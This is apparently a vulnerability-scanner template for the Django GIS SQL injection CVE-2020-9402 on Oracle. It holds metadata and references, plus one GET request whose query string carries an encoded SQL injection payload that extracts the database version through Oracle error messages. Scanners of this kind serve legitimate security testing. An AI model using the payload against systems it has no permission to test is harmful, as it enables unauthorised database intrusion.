id: CVE-2020-9402

info:
  name: Django SQL Injection
  author: geeknik
  severity: high
  description: Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL.
  remediation: Upgrade to the latest version.
  reference:
    - https://www.debian.org/security/2020/dsa-4705
    - https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402
    - https://docs.djangoproject.com/en/3.0/releases/security/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9402
    - https://groups.google.com/forum/#!topic/django-announce/fLUh_pOaKrY
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-9402
    cwe-id: CWE-89
    epss-score: 0.31262
    epss-percentile: 0.96404
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: djangoproject
    product: django
  tags: cve,cve2020,django,sqli,vulhub

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1"

    matchers:
      - type: word
        words:
          - "DatabaseError at"
          - "ORA-29257:"
          - "ORA-06512:"
          - "Request Method:"
        condition: and